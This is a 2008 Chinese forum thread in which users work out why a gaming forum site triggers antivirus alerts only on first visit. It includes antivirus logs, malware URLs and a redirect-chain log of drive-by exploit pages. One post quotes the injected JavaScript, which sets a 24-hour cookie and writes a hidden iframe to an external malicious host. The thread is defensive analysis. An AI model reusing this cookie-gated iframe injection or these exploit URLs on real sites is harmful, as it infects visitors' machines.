奇怪的网站

浙江一哥

http://bbs.07073.com/  这网站不知道怎么回事 每次重装完系统之后进去就报毒 可第二次进去就不报了  真是不解

左手

2008-11-26 18:37:31    加载库文件      操作:阻止
进程路径:D:\Program Files\GreenBrowser\GreenBrowser.exe
文件路径:C:\Program Files\Common Files\System\msadc\msadco.dll
触发规则:所有程序规则->禁止加载的库文件->*\msadco.dll

江湖的fans

威胁描述：当前网页存在恶意脚本代码，您可以清除恶意代码继续浏览，或者选择不看这个网站，我们会自动帮助您搜索同类网站。

挂马网址：http://wm.sllwbd5.cn/a154/fxx.htm

病 毒 名：Exploit.Win32.Shellcode.Suspicious





病毒        2008-11-26  18:44:19        病毒在文件C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\CL8127GX\Real[1].htm中        JS.Agent.dg.3588        处理成功（操作：删除）

江湖的fans

毒霸+畅游的！

lg560852

var cookieString=document.cookie;
var start=cookieString.indexOf("cookiesleep");
if(start!=-1){}else{var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="cookiesleep=test;expires="+expires.toGMTString();
document.write("<iframe src=http://www.hryspao.cn/zzll/1.htm width=50 height=0 border=0></iframe>");}

这个段代码是根据你的COOKIES来判断的，你访问一次后就留下了COOKIES。
表现为24小时内再次访问该网址不再重复中招。
freshow日志：

Log is generated by FreShow.
[wide]http://bbs.07073.com/
    [script]http://%61%6C%69%6D%6F%6D%61%2E%63%6F%6D/header_bg.gif
        [frame]http://www.hryspao.cn/zzll/1.htm
            [frame]http://wm.sllwbd5.cn/a154/fxx.htm
                [frame]http://wm.sllwbd5.cn/a154/fx.htm
                    [frame]http://wm.sllwbd5.cn/a154/Ilink.html
                    [frame]http://wm.sllwbd5.cn/a154/flink.html
                [frame]http://wm.sllwbd5.cn/a154/ss.html
                [frame]http://wm.sllwbd5.cn/a154/MS06014.htm
                    [object]http://www.oiuytr.net/new/a154.css
                [frame]http://sllwbd5.cn/sina.htm
                [frame]http://sllwbd5.cn/UU.htm
                [frame]http://wm.sllwbd5.cn/a154/Thunder.html
                [frame]http://wm.sllwbd5.cn/a154/GLWORLD.html
                [frame]http://wm.sllwbd5.cn/a154/real.htm
                [frame]http://wm.sllwbd5.cn/a154/Real.html

恩丹西酮

EAV3.0和超级巡警怎么没报啊

浙江一哥

终于明白了为什么时有时无 谢谢老大

ue100

报4条

leonfg

原帖由 江湖的fans 于 2008-11-26 18:43 发表
威胁描述：当前网页存在恶意脚本代码，您可以清除恶意代码继续浏览，或者选择不看这个网站，我们会自动帮助您搜索同类网站。

挂马网址：http://wm.sllwbd5.cn/a154/fxx.htm

病 毒 名：Exploit.Win32.Shellcode ...

leonfg

原帖由 lg560852 于 2008-11-26 19:08 发表

这个段代码是根据你的COOKIES来判断的，你访问一次后就留下了COOKIES。
表现为24小时内再次访问该网址不再重复中招。
freshow日志：

2008-11-28 2:26:42    HTTP filter    file   http://www.oiuytr.net/new/a154.css  probably a variant of Win32/Genetik trojan    connection terminated - quarantined    CHINESE-GUNDAM\GUNDAM    Threat was detected upon access to web by the application: C:\Program Files\Mozilla Firefox\firefox.exe.

[ 本帖最后由 leonfg 于 2008-11-28 02:31 编辑 ]